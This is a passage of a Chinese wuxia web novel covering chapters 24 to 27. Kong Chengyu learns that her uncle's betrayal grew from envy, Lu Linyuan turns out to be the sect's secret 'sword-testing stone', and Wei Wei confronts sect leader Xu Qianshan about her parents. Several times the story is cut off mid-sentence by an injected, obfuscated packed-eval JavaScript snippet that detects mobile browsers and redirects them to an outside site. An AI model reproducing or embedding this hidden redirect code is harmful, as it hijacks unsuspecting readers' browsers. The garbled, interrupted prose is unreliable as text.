霎时,孔成玉的心口像是被撞进了什么东西,手无意识地攥紧,指甲掐进手心,那微微的刺痛感似乎能纾解她此刻莫名的情绪。 此时她还不知道这叫嫉妒。 ** 孔成玉被这样的情绪折磨良久,深受其害。 嫉妒是一件无用的器皿,从中不能汲取到一丝好处,她又生性高傲,绝不肯低头。 此后无论是在什么场合遇见陆临渊,她都绝不会多看他一眼。 久而久之,儒宗有人传出了她与陆临渊不睦的言论。 孔怀素坐在书桌前,问她与陆临渊之间起了什么争执。 “没有,父亲。”孔成玉这么说,甚至连眉头都没有皱。 她合上手中的兵法书。 “……是我嫉妒他而已。” 陆临渊在求己崖上灭心灯,君子帖一剑霜寒,不知道惊艳了儒宗上下多少弟子,据说那日过后,往报名持春峰的弟子多了整整四成。 而属于孔成玉的岁月晦暗又阴郁,除了想要迫切掌握权势的野心,什么也没有。 纵然有人把陆临渊与孔成玉并列双壁之名,陆临渊也永远是那个更耀眼无羁,足以压倒孔家权势的那位天才。 孔怀素静静听着孔成玉似乎不带一丝感情,陈述这那夜夜几乎让人疯狂的嫉妒,最终叹了一口气。 孔怀素从书柜中找到君子帖,放到她面前,叫她看着。 孔怀素言语深沉,冷淡而捉摸不透:“你读过的兵书里应当有这句话。” “主不可以怒而兴师,将不可以妒而攻战。” 孔成玉思绪因为自己父亲的下一句话而乱到极致。 “你知道,孔思瑾当年到底为什么投敌靺鞨吗?” 这件事不仅在儒宗讳莫如深,在天下也众说纷纭。 一代儒宗掌门,在自家亲弟弟被靺鞨所杀之后选择投诚,是一个正常人都想不通的事情。 以至于民间还有传闻,孔思瑾当年其实是假降,实则大忠大奸云云。 然而孔成玉不会想到,在这么多年后的一个寻常下午,会在君子帖面前,从自己父亲口中得知真相。 ——妒忌。 自己的伯父、孔怀素的兄长、世人百思不得其解的那次青城背叛,都是源于这简单的两个字。 ** 孔家自孔圣之后,虽占着儒宗正统的名头,天下英雄尽入彀中,实则被后世诟病一代不如一代。 为孔家三子开蒙的是声名斐然的大儒,给他们授课的是儒宗三十二峰的峰主,明鬼峰二十万书册就在他们手侧,就连孔氏的婢子都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孔思瑾登上掌门之位的那天,孔怀素作为胞弟与他一起站在仁义峰最高处,遥望着高台之下一览无余的岳立川行,云霞挥手而过,垂目看去,像是将众生都踩在了脚下。 孔思瑾摩挲着代表掌门之位的腰牌,声音平静地问他:“你说,子昕他真的甘心么?” “……” 那时候孔怀素就知道,他这位这些日子看似沉静的兄长,其实一直都没有停下自己的怀疑与嫉妒。 ** 再后来,孔子昕死了。 靺鞨大军压境青城,将孔子昕与郭郡尸首羞辱地弃置城门。 收敛尸骨那天,就连孔怀素也不得不面对惨烈的现实,从那两具早已不成人形的尸体上寻找到属于自己亲人的细节。 那时候孔思瑾坐在台阶上,抚摸着冰凉的灵柩。 孔子昕死了。 那道自他出生起就缠绕在他身边的阴影彻底消失了。 孔思瑾忽然神经质一般笑起来,笑着笑着,喉咙一阵收紧,几乎让人作呕。 他的弟弟死了,那道笼罩在他阴影看似没有了,但又永远存在着。 今天过后,谁又能忽视孔子昕这个人? 孔子昕斗南一人,与其夫人坚守荥阳七天七夜,以至于靺鞨愤恨鞭尸,以死成就了自己的名声。 他的牌位会进仁义殿,与孔圣那样的人物摆在一起,被后世铭记。 而他呢? 不过是个占着嫡长之名,能力平庸的兄长而已。 所有人都会说,可惜了。 孔思瑾开始出现幻觉。 面无全非的尸体坐起来,逝去的长辈一步一步朝他走来,书房外长辈轻声的叹息,呓语从四面八方涌来。 ——可惜了。 孔思瑾抬起头,满目血丝,忽然波澜不惊地开口。 “……为什么是孔子昕死了,而不是我这个平平无奇的兄长呢?” 那时候沉浸在自己兄长去世痛苦中的孔怀素并没有察觉到什么不对,直到孔思瑾投降靺鞨的消息传来,他才仿佛突然梦醒一般,明白那句话的真正含义。 嫉妒和怀疑是磨人心智的钝刀,自古以来老年昏聩的帝王大多折于此。 即使是再英明神武的帝王,被一刀刀磨的不眠长夜中,也是会动摇的。 何况一直以来,孔思瑾的嫉妒已经深入骨髓,如同藤蔓一般,早将他的理智一点点搅碎。 妒忌不成,贪婪与生。 要超过孔子昕,对孔思瑾来说,只有唯一一条路走。 攻下中原。 25. 与我周旋 孔怀素讲完这些旧事,并没有再说太多。 他将孔成玉合上的兵书翻开,从书房中离开。 等孔成玉恍然回神,抬起头时候,看见的就是书上那几排醒目的文字。 ——主不可以怒而兴师,将不可以妒而攻战。 她站起来,走出这间小小的屋子。 微冷的风刮起她凌乱的头发,眼前儒宗三十二峰重重叠叠地覆压在一起,又一寸一寸变形。 怒可以复喜,妒可以归平。 但亡国不可以复存,死者不可以复生。 ** 那天晚上,孔成玉从父亲口中得知了当年有关自己大伯父与二伯父的真相,思绪万千睡不着觉,大半夜坐立难安。 孔成玉知道自己其实是个性格有些偏激、敏感多疑的人,对陆临渊的嫉妒像是内里煎着一团烈火,日日夜夜烧灼她的心口。 如果她的父亲孔怀素强硬要她做个如渊之清、如玉之洁的君子,只怕沉水入火,只有满地灰烬。 有些事情只能由她自己想通。 孔成玉推开临游廊的窗户,那一轮明月高远静谧,连风也浸满了月白,转瞬充溢了她的肺腑。 孔成玉最后迎着月色,走出尚贤峰。 她一路漫无目,一直走到了持春峰。 儒宗三十二峰中,只有持春峰晚上最松懈,其余的地方要不是有许多人住着,要不是有书阁卷宗,防范的严严实实。 但持春峰不同,这里这有几个石台子,几排箭靶,还有一年才热闹一次的求己崖,干净地像是学堂里末几位学子考试的卷子,放火都烧不成气候。 所以孔成玉没料到这时候还会在这里碰见一个人。 而这个人居然会是陆临渊。 隔着很远,孔成玉只能看见陆临渊倚在一块石头上,仰头对着月亮。 他穿着很奇怪,并不符合他儒宗掌门弟子的身份,倒像是往来儒宗的杂役。 他整个身子像摊在石头上,松松垮垮,一头长发也散着,在夜风中凌乱飞舞,神态散漫。 他一只手微微抬起,袖子堆叠到肩膀,像是在丈量月亮。 另一只手垂下来,像是一根垂吊下的藤蔓。 孤单一人,形影相吊。 孔成玉不由屏住呼吸,脑中飞快思索。 陆临渊这个时候,应当是在闭关的。 他为什么会出现在这里? 这一天接受了太多消息,孔成玉向来机敏的脑子也有一丝迟钝。 这样静谧安静的夜晚,她靠在一棵树上,喃喃了一句陆临渊的名字。 在持春峰空旷的场地中,她的声音并不清晰。 但还是有人听见了。 孔成玉的大脑空白一瞬,她根本来不及反应,原本倚在石头上的陆临渊转过一双冰冷的桃花眼。 隔了很远,孔成玉都有一种被盯上的猎物的感觉,脊背不由一阵发冷。 她下意识后退两步,还不等脚底踩到树干的声音传到自己的耳朵,她便被人掐住脖颈,用力压在了粗糙的树上。 “……” 孔成玉的身高在女子中算得上高挑,就算女扮男装,也是男子中中等的水准。 但她从来没有觉得自己这么矮过,居然能被人拎着脖子掐紧,压在树上! “嗯?” 半愤怒状态下的孔成玉听见了对面那人一声近似野兽的闷哼。 陆临渊掌下传来压抑着什么的冷淡声音,是孔成玉开口。 “是我。” 但是面前的陆临渊并没有放手。 陆临渊如今的气质与孔成玉在闭关宴上的惊鸿一瞥相比可以称得上大相径庭。 明明是和那天一样投来的目光,现在在孔成玉面前陆临渊的眼神却仿佛一线过于锋利的剑刃,凌厉而冰冷,让人心悸。 陆临渊缓缓俯下身来,黑色的长发与青色的衣袖被风吹得猎猎而动,忽然又“嗯?”了一声,感受着手掌下咽喉的触感。 平平的,没有男子那么明显的喉结。 陆临渊淡淡,声音听不出什么感情,好像就是很平常地说了一句话:“……原来你是女子。” 一股屈辱感从脚底蹿到了头顶,孔成玉袖中右手猛然抽出,一枚刀刃落在她手里,冰冷的刀刃抵在陆临渊的手腕上——因为自己手不够长而抵不到对方的脖颈,这让她更恼火了。 “松开。” 被扼住脖颈,眼前逐渐发黑,孔成玉第一回体会到死亡离她如此之近。 她从不是坐以待毙的人,紧握着的冰冷刀刃慢慢切下去,直到刀刃下渗出鲜血,顺着陆临渊的手腕蜿蜒,滴落到地下,陆临渊才指尖一松。 孔成玉甚至觉得陆临渊不是因为她刀刃的威胁才松手,而是因为迟钝地反应过来这么掐下去自己会死才放手。 孔成玉就在这一瞬的间隙顺势一转,就着握刀的手削向陆临渊,被对方面不改色地握住刀柄,大拇指向上抵住孔成玉的手掌,使她的刀刃不能再进一步。 脖子上的痛楚清楚地告知孔成玉片刻之前发生了什么,心跳在血脉间砰砰跳动,孔成玉声音沙哑,冷笑质问面前的人:“陆临渊,你要和孔氏作对吗?” 陆临渊连眼睫都没眨一下:“孔氏?” 他笑了一声,笑容很浅,而且丝毫没有到达眼底。 “关我屁事。” 孔成玉紧紧盯着面前的这个人,咬牙切齿:“你不是在闭关吗?” 陆临渊随手撕下自己的衣袍,咬着布条给自己手上缠带,闻言懒洋洋掀起眼皮:“关你屁事。” “……” 这绝非那个儒宗掌门弟子陆临渊会说出来的话。 孔成玉甚至有一瞬怀疑,眼前这个人是其实陆临渊隐藏多年的双胞兄弟,自小放养在山野间,从来没人教养过,纯野生的。 两人之间的氛围就这么很诡异地沉默着,直到孔成玉急促的呼吸逐渐平稳下来,她才发现陆临渊有些不对劲。 他的状态很糟,身上不止手掌的一处伤口。 陆临渊看起来很困,也很累,眼皮半抬不抬,像是那睫毛就能将眼皮压下去。 他散碎的黑发有些凌乱地遮住眼睛,绑布条的动作有些迟缓,面色苍白,像是遥远楚声里飘出的山鬼。 孔成玉嗅到了秘密的味道。 既然是秘密,那就可利用,可交换。 孔成玉摁了摁自己狂跳不止的太阳穴,尽量冷静地开口。 “陆临渊。” 陆临渊抬起眼睛,挑了一下眉毛。 孔成玉:“你若不想和孔氏作对,就不要把今天的事情说出去。” 陆临渊闭着眼睛低笑了一声:“孔氏那一群草包……” 孔成玉火气又有点上蹿的趋势:“陆临渊,你什么意思?” 陆临渊疲倦地抬起眼睛:“没有什么意思——你刚刚说什么?” 孔成玉重新冷静下来,咬着牙对陆临渊说:“我让你不要把今天的事情说出去。你身上带伤,若不想今日我亲自动手杀你,最好和我共同保守秘密。” 陆临渊:“你杀得了我?” “……” 孔成玉脸色铁青,她实在想不明白陆临渊这种人是怎么被当做受人敬仰的儒宗大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|12867654|133879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师兄的。 后面是怎么和陆临渊达成协议的孔成玉已经忘了。 总之从那天晚上开始,她不再嫉妒陆临渊。 她被气得开始直接和陆临渊作对了。 ** 魏危清楚地看见,孔成玉讲述时手中捏着的杯子有一丝裂痕。 魏危:“……” 孔成玉吸了一口气,目光穿过桌上的君子帖看向遥远的未知方向。 “我不相信陆临渊会为我保守秘密。” “或者说,我认为陆临渊依旧有暴露我女子身份的可能,我所知道的秘密不足以钳制他。” “所以,我开始调查他那天晚上闭关却出来的原因,查他到底为什么会负伤。” 孔成玉屈起骨节敲了敲桌子。 “于是我查到了,儒宗有一块试剑石。” ** 在魏危回去的路上,孔成玉那些话还缭绕在耳边。 “儒宗虽然闭口不谈,但是其实三十二峰峰主大多知道一些内情。” “魏危,你大约也知道陆临渊那一身诡谲的功夫。就算是他天赋卓绝,也不可能在这个年纪获得这样的成就。” “我从前想不通陆临渊为什么武艺超绝,后来随着慢慢调查,发现了一些端倪。” “儒宗第一回出现试剑石的风声,是在五年前,恰好是陆临渊闭关的日子。” “他闭关之前灭十七盏心灯,纵然是天纵英才,但和儒宗前辈比起来,还算情理之中,可偏偏出来后就能挑战百越的四位高手。” “我从来不相信这世上有这么巧的事。” 孔成玉顿了顿,才缓缓开口:“……你应该听说过,二十年前失踪的那个,如今的儒宗掌门的师弟,徐安期。” “徐安期身为青城三杰之一,天赋远在如今儒宗掌门之上——并非是我孔家出了这样的事情,所以我以己度人。可是仔细想一想,徐安期到底为什么会失踪,如果他还活着,为什么这么多年不曾回过儒宗看望一眼。” “如果不是已经命丧黄泉,那么我想只有一个可能。” 就算是说这样大胆的猜测,孔成玉的声音依旧冷冷。 “他被人囚禁了。” 孔成玉做下自己的判断。 “我怀疑,儒宗的试剑石从来不是什么石头,而是徐安期本人。” ** 儒宗掌门徐潜山囚禁了他的师弟徐安期,把他当做试剑石给陆临渊——乃至中原的高手试剑。 似乎是个大胆而合理的推测。 如果真相真的是这样,那么中原受人敬仰的儒宗掌门就是个居心险恶刁滑奸诈的人物。 陆临渊一直以来自称中原第一也有了合理的解释。毕竟如果连当年的素冠徐安期都成了他的试剑石,能超越他的中原高手又有几个呢? “……” 但魏危总觉得有哪里说不通。 就陆临渊那精神状态,哪里来的精力和徐安期试剑? 他难道不会打着打着,突然开摆,徐安期一时手足无措,还要跪在地上求着他别死? ** 魏危想着想着,忽然停下脚步。 一向安静的坐忘院子中多了一个人。 桐树落下的阴影与那人的影子交叠在一起,砌成一道浓厚的阴影。 魏危看着眼前两鬓微染霜白的中年男子,不自觉点了点霜雪刀柄。 将一峰之地划给陆临渊一人居住,儒宗上下神龙不见尾而又地位超然的儒宗掌门——徐潜山。 此时再躲已经来不及了,魏危面色不改,跨过门槛,站在了徐潜山面前。 26. 所遇无故物 持春峰山洞内,陆临渊换下衣服,将自备的黄色止血药粉洒在掌心伤口。 药粉撒上如沸油泼水,伤口钻心疼起来,淬酒也不过如此。 但这样的虎狼药也有好处,药粉撒上去不过稍息,伤口就不再流血,见效很快。 陆临渊撕下布条,咬着一端飞快绑紧,最后将洞中痕迹抹除。 从地上拾起贺归之所留的药瓶,陆临渊打开盖子嗅了嗅,香青兰与接骨木的气味扑鼻而来。 药性温和,还很有效,是上好的止血伤药,应当是贺归之自用的。 陆临渊想,这样的东西送给魏危倒是刚刚好。 他收起药瓶,从山洞中出来。 抬眼,暮色铺天盖地席卷而来,变幻莫测的流霞像是清水里污染的一滴墨色,撞进了陆临渊眼睛里。 ** 迎着晚霞,石流玉面色恹恹地下山,与抄近道回坐忘峰的陆临渊迎面撞个正着。 石流玉看见陆临渊,眼中像是一亮:“师兄。” 陆临渊受伤的手垂在袖中,微微往后别了一下,含笑开口。 “怎么,今日看起来有些不高兴?” 石流玉苦恼道:“从日月山庄来的人说儒宗的厨房不和胃口,他们不愿麻烦别人,就自己下山吃饭。我想着要不从山下请一个合胃口的厨子上来。” 陆临渊微微挑眉:“如何不合胃口?” 石流玉道:“太甜。” “他们说,从来没见过甜口的六月柿炒蛋。” 石流玉非常不解。 “可六月柿本来不就是甜的么?” “……” 刚刚和贺归之打了一架,陆临渊本就对日月山庄的人没什么好印象。 他想,爱吃不吃不吃趁早下山。 石流玉苦恼碎碎念了一会,才回神道:“这么晚了,师兄要去哪?” 陆临渊:“找魏危。” “魏姑娘?”石流玉将人和名字对上号,歪了歪脑袋。 他说:“哦,魏姑娘应当和掌门在一块。” 陆临渊倏然一静,唇角笑意还没有彻底消退。 他听见自己的声音问道:“你说什么?” ** 仿佛一阵风吹过。 陆临渊身影如飞燕,脚尖欲落即起,台阶上桐花树影摇动,转瞬被抛之脑后。 三叠峰负责一整个儒宗的杂食和来往人员登记,陆临渊知道魏危实际住在坐忘峰这件事瞒不住石流玉。 他若是没有本事,三叠峰主也断然不会收他做亲传弟子。 但石流玉从来不会在意这些小事,而徐潜山—— 陆临渊咬牙。 他想起五年前那个白天,徐潜山看向他,宽大的手抬起来碰到他的肩膀,如一座沉重的大山。 “你本不会成为儒宗的弟子。”徐潜山对他说。 “从兖州带你回来就是阴差阳错。你的母亲是百越人,按照百越的风俗,你应当留在百越才对。” 是徐潜山发了善心,是儒宗给了他一席之地。 他说:临渊,你该为儒宗做些什么。 “如果我按照师父所说的做了。” 陆临渊不曾抬眼,声音清凌,仿佛在自言自语地问自己,又像在拷问。 “这算回报儒宗的恩情吗?” 十五岁那年,陆临渊闭关,成了儒宗的试剑石。 ** 陆临渊掌心的伤口隐隐作痛,周围模糊的色块变作已经许久没有折磨过他的幻觉,面目狰狞地涌过来。 他们一个个面容模糊,语气轻佻又惊奇。 ……你就是儒宗的试剑石啊。 徐潜山是该恨自己,就算只为了自己身上有着百越一半的血脉。 他的好友鹿山涯因百越女子归隐兖州,他的师弟徐安期为了百越抛弃师门不知所踪。 如此,徐潜山依旧按照儒宗的道义收留自己,至今都不曾苛待,已是莫大的恩德了。 但魏危不应该搅进徐潜山的恨里。 陆临渊握紧手,伤口崩开,鲜血如同缓慢上涨的潮水,疼痛刺激着他回神。 魏危不应该受到牵连。 ** 松涛阵阵,三叠峰传来报时的钟声。 儒宗三十二峰都点上了灯,随着连绵不绝的山脉起伏铺展到了最高处,星星点点如月色掉落凡间。 桐花纷乱如雨,不吝啬最后一点春色,抱香坠落,铺满山中台阶。 陆临渊猛地推开院落大门。 四下一片寂静,院落中间的石凳上,坐着正转着匕首神色自若的魏危。 和她对面面色不太好的掌门徐潜山。 陆临渊推门的手停顿了一下:“……” ** 半个时辰之前。 坐忘峰院中桐树下,徐潜山坐在石凳上,拎起茶壶给刚刚进门的魏危倒了一杯茶。 徐潜山年近五十,岁月已在他鬓发上留下霜白的痕迹。 纵然衣着朴素,但身为儒宗掌门二十多年的生涯使他不威自怒,此时端坐,倒像是佛教中持剑护法的菩萨。 菩萨宝相庄严,朝魏危望去:“站在那里做什么?坐下说话。” 魏危黑白界限分明的眼睛盯着徐潜山一会,才开口问:“你就是徐潜山?” 徐潜山嘴角往上扯了一下,但似乎不怎么会笑,只深深望着她道:“就算是百越巫祝,也应当对老人家尊敬一些。” 气氛登时变幻莫测,两人四目相对的一瞬间,魏危断然拔出了离手最近的的兵器。 梁祈春说的不错,霜雪刀漂亮纤长,但因为刀身过长,抽刀会差人半招。 若是同等高手生死相搏,霜雪如果不能抢攻,会在这上头吃亏。 匕首从皮革刀鞘中拔出,如一把剪刀裁开空气,就这么一转手的动作,徐潜山都能听见刀刃破空之声。 剑拔弩张的一刻,徐潜山坐在那动也没动,目光深邃,反而问道:“怎么不拔霜雪刀?” 魏危的左手已绕在后头,反手摸上霜雪刀的刀柄,闻言一顿。 “你怎么知道?” 徐潜山并没有直接回答这句话,他一只手放在膝盖上,一只手端起茶盏,眯起眼睛打量着魏危手中正握的匕首,沉吟。 “这是姑句匕首吧?我有许多年没见过了。” 百越身处深山密林,所用武器力求锋利方便,姑句匕首便是其中上品。 形如钝刀,却异常锋利,刀面有着如大海浪潮的纹路,神乎其技,哪怕使用多年也不会锈蚀卷刃。 徐潜山知道自己是百越巫祝,又知道她的刀是霜雪,甚至认得出姑句匕首。 魏危觉得她被从头到脚看了个彻底,眸子微眯。 是百越出了叛徒?还是…… 徐潜山慢吞吞地把眉眼抬起,目光似乎看着遥远的地方。 他问:“你不认得我?” 魏危的声音像淬了冰,握着纯黑匕首的骨节白皙,瘆瘆寒冷:“我知道你是儒宗掌门。” 徐潜山打断他,眉头微蹙:“不,不是这个。百越没有人与你说过我是谁吗?” 不讲清楚的半吊子话最惹人烦,魏危想:鬼晓得你是谁? 总不可能是她爹。 见魏危好像当真不认识他,徐潜山看着她,眼中光芒微旋,似是陷入思索中。 两厢沉默,魏危转了转指尖匕首,忽然手腕翻转,姑句匕首正握手中,往前一刺。 匕首不是魏危常用的兵器,可在她手上却一点也不差,锋利无比的的匕首在一掌五指中翻飞如蝴蝶。 徐潜山不动如山,手腕用力,往匕首刀背部一敲,避开第一刺,与魏危黏手,连拆带打。 两人此番只在手中角力,下盘稳如泰山。 一个招式来势汹汹,匕首眼花缭乱;一个内劲不徐不疾,手腕翻折刚柔相济。 以柔克刚,魏危竟有隐隐落在下风的趋势。 匕首进攻划出银线似乎乱了,急切地想钻出徐潜山密不透风的压制,破绽越来越多。 徐潜山精光内藏,两根手指紧紧钳住刀口,魏危意欲抽出,对方指尖好似铁铸,竟然一下没抽出来。 徐潜山一招一指透天罡,手腕一震一松,不费一丝多余的力气,从魏危手中夺走了姑句匕首! 徐潜山抬头望向魏危,却只看见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“因为你的母亲魏海棠是百越的巫祝,你自然就是百越巫祝。” “霜雪刀是她的佩刀,我从前见过许多次,包括她的姑句匕首。” 魏危问:“你怎么证明?” 徐潜山渐渐笑起来,仿佛随着讲述回到年少时,自顾自地说起旧事。 “当年我与徐安期和鹿山涯一起游历江湖,在路上遇见了你的母亲。” “青城与靺鞨战后,那封郭夫人所写的君子帖是由你母亲从死人堆里扒出来,送来青城的。” “……” 魏危忽然开口道:“能知道我母亲姓名,又被摸过脉门,见过她佩刀与贴身匕首的,其实也未必是亲密友人。” 徐潜山微微一愣,随后露出一个温和的笑容:“那还有可能是什么关系呢?” 魏危说得不假思索:“仇人。” 徐潜山一怔。 魏危抽出霜雪刀,在桐树下闪着冰雪般冷冽而纯粹的光。 “你说你是我母亲的朋友,但旧事只有你们之间才清楚。” “我需要证据。” 徐潜山拾起掉落的姑句匕首,沉吟片刻,才慢慢道:“我知道你们百越有一种凶猛的鹰隼,日飞千里,只有百越首领才降服的了,日夜形影不离。你可以现在用它传信给你母亲,问问是不是还认我这个故人。” “如果你只认识我母亲一个百越人,那就没办法证明自己了,徐潜山。”魏危盯着徐潜山的眼睛,缓缓开口,见证他眼中泛起汹涌的波涛。 “我的母亲在十九年前去世了。”魏危说。 “她的那只傩梭,在她下葬的那天,在空中盘旋三圈,冲进了大火里。” 闻此,徐潜山动了动唇,沉默半晌,什么话都没有说。 他仿佛听见当年清亮的鞭声,大宛马奔驰在辽阔的天地下,风沙在马后倒着翻涌,鸟道横绝,天梯勾连,万径踪灭,他们畅快地放马扬鞭。 后来,这段路程落寞安静下来。 月色黯淡,友人一个个振鞭离去,不见回头。 所遇无故物,焉得不速老。 27. 焉得不速老 外头林深似海,风过如浪,两人皆是沉默。 半晌,徐潜山抬头,直直地看着魏危,像是寻找着谁的影子:“那你父亲呢?” 魏危抱臂问:“你与我父亲也是故交?” 魏危刚刚虽咄咄逼人,实则观察徐潜山良久。 从徐潜山的反应来看,眼前这个不知底细的儒宗掌门恐怕真的和魏海棠认识。 她顿了顿才道:“可我没见过我的父亲。” 魏危清楚看见,徐潜山的手紧紧地扣住了桌角,身子往前倾了倾。 “你……你没见过你父亲?” “这很重要么?”魏危皱眉。 子不知其父,在百越来说不是什么稀罕事。 徐潜山的表情过于微妙,魏危不明所以,但是还是接着说。 “其实论起来,我也没有见过我母亲。十九年前,魏海棠因生我而死。至于我父亲,他一直没有出现过。” “没有出现过?”徐潜山眼中更加茫然了。 魏危坦然,眼中也不见悲伤之色:“是,照顾我长大的长老们说,他是个中原人,是个负心汉,在得知我母亲怀孕的消息后就离开了百越,从此不知所踪。” “不可能。”徐潜山断然否认,握紧的桌角跟着颤动了下。 他定定地看着魏危,一张脸毫无血色:“你既然没见过他,怎么能听信别人言论?你是他的女儿,他不会这样做——他怎么会抛弃海棠和你……” 这大约是这些年来徐潜山情绪最外漏的时候,他急切地为那个人做出解释。 然而片刻之后,徐潜山好像是明了了什么,脸色变作一片灰白,哑然无言。 天色渐渐暗下来时,晚霞在魏危脸上落下一道柔软鲜艳的光芒。 魏危静静道:“不管他到底是谁,也不管他死了还是活着。我都是魏危,不是我母亲与父亲的影子。” 你想透过我看见谁? 是多年未见的故人,还是已经阴阳相隔的亡灵呢? 徐潜山的动作僵硬了一瞬。 魏危骨节扣了扣桌子,接着说:“我现在相信你是我父母的故人,可我从来没有在百越见过你。” “你们之间至少有十九年的时间未曾见过面,对我父母的情况毫无知情。你有十九年的时间,却没有想过联系自己的故友。” “这些天我呆在儒宗,儒宗三十二峰底下暗流涌动,孔氏分割权利,三叠峰不堪重负,撄宁无为诸多峰主职责不明。” 魏危从桌上拿起匕首:“你花了整整十九年的时间,既没有与人有亲密的关系,也没有将儒宗打理得很好。如今坐在这里,与百越的巫祝讨论这么多年前的旧事,不觉得十分可悲么?” “……” 徐潜山眼皮一跳。 这女娃说话可真毒。 ** 太阳快要落山了,霞光潋滟如火,坐忘峰中的鸟儿簌簌地振动翅膀归巢。 魏危拨了拨手中的匕首,不再言语。 她在等,等徐潜山一个答案。 她的本意并非是想嘲讽逼迫徐潜山,而是方才徐潜山言语中提到了自己的父亲。 魏危对她爹到底是谁不感兴趣,至少前十九年是如此。 朱虞族的长老对她父亲厌恶颇深,大约是觉得魏海棠与他有了孩子,而这人居然没良心地跑了,连累魏海棠怀孕的日子里心思不宁,以至难产血崩去世。 魏危从前从未细想过这些事,如今遇见了徐潜山,魏危根据他的形容,才忽然想起另一个可能。 倘若他那倒霉的爹不是跑了,而是死了呢? 然而等到半晌后徐潜山凝滞的眸子眨了几下,轻轻松开抓着的桌角,他笑了笑才再次开口:“是。你说的这些没错。” 徐潜山显然是知情人,但他被魏危言语咄咄讽刺至此,反而干净利落地认下桩桩件件,不再提那些旧事。 魏危指尖转着的匕首停了下来。 徐潜山不说,她难道不能去百越问? 话题转到这里,徐潜山的肩膀稍稍放松了一些,转而看向她,像一位家中长辈般开口:“你在儒宗这些天,临渊把你瞒得很好。” 魏危擦着匕首:“托您的福。” 徐潜山道:“你的母亲是我的平辈,按照中原的礼数,你可以叫我一声叔叔。” 魏危放下匕首。 怎么还蹬鼻子上脸了? 徐潜山似乎也没想过魏危会真的开口叫他,紧接着开口问,态度依然温和。 “我说我还有五年可活,假使我死之后,你觉得儒宗谁能接任掌门的位置?” “……” 眼下这个场景颇为诡异。 一代儒宗掌门,在问百越巫祝下一任掌门的人选。 魏危一时不知道该夸徐潜山心胸坦荡还是被猪油蒙了心。 她用匕首指了指自己,向徐潜山确认:“你问我?” 徐潜山点头。 魏危想了想,本想敷衍过去,忽然灵机一动:“不如给我吧。” 徐潜山淡笑:“我嫌自己死得不够快?” 魏危哦了一声,仿佛失了兴趣,指尖点了点刀柄。 “你问我这句话,是没有打算将掌门之位传给陆临渊的意思?既然如此,当初为什么不多收几个徒弟?” “精力不济。”徐潜山道。 “况且江山代有才人出,若只有我的徒弟才能做儒宗掌门,那与当初代代把持儒宗掌门之位的孔氏又有什么区别?” 魏危满不在乎:“江山是代有才人出,但陆临渊只有一个。” 这话说起来好像陆临渊是什么绝世兵器。 徐潜山淡笑:“你对临渊评价似乎很高。” 魏危:“至今为止,我还没见过能与我打过平手的人。” 论起来陆临渊其实也是她的手下败将,但这是因为陆临渊不愿意,并非打不过。 她留在儒宗,就是等着君子帖真正出鞘的那天。 徐潜山沉吟:“陆临渊天赋超绝,但不适合做掌门。” 魏危奇怪地看了一眼徐潜山:“这难道不是你们儒宗的问题?” 徐潜山淡淡:“世上也很难得有首领一人一马离开自家门派好几个月,底下也不造反的。” 魏危:“……” 徐潜山又问:“孔成玉这个人,你觉得如何?” 魏危回:“不错,但是儒宗不适合她。” 儒宗于她而言太小了。 “石流玉?” “聪明有余,经验不足。” 太容易相信别人。 “……” 徐潜山一连报了好几个名字,魏危都简单地评价了一下。 徐潜山不知道有没有采纳这些意见,只独自沉吟半晌。 魏危问:“你为什么这么着急定下一任掌门的人选?” 徐潜山深深望着她的眼睛:“死生无常,你说我最多还有五年寿命,但谁又知道到底会在哪一天去世呢?” “我是真的老了,也累了。朋友死的死,散的散,靠着一口气吊在这里又有什么意思,不如早登玉楼。” 徐潜山的言语很平静,却有一种萧索凄凉之意。 魏危生出几分好奇,问:“既然如此,我不懂你为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|12897922|133879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么不想把掌门之位传给陆临渊,陆临渊就算并不合适当掌门,也是儒宗如今武功和声望中最高的那个。” 徐潜山:“你以为,掌门之位对陆临渊来说是一件好事吗?” 魏危转了转姑句匕首:“我竟看不出你是为他着想的人。” 徐潜山:“……” 魏危自小生活在朱虞长老的爱护之下,独步百越的武艺不曾让她吃过一丝委屈,百越十二尸祝亦师亦友,也是爱她护她,说什么都是理所当然。 而徐潜山当了二十多年的掌门,很少遇见这样魏危这样语不惊人死不休的刺头。 也算是新奇的体验。 徐潜山沉吟:“你对我有意见?” 从进门徐潜山就察觉出来了,魏危对他总有一种微妙的敌意。 “有人猜你囚禁了徐安期做试剑石。”魏危就这么坦率地说了。 “我囚禁徐安期?”徐潜山提高了些音量,半晌又大约理清这个猜测的由来,移开视线,说得莫名自嘲。 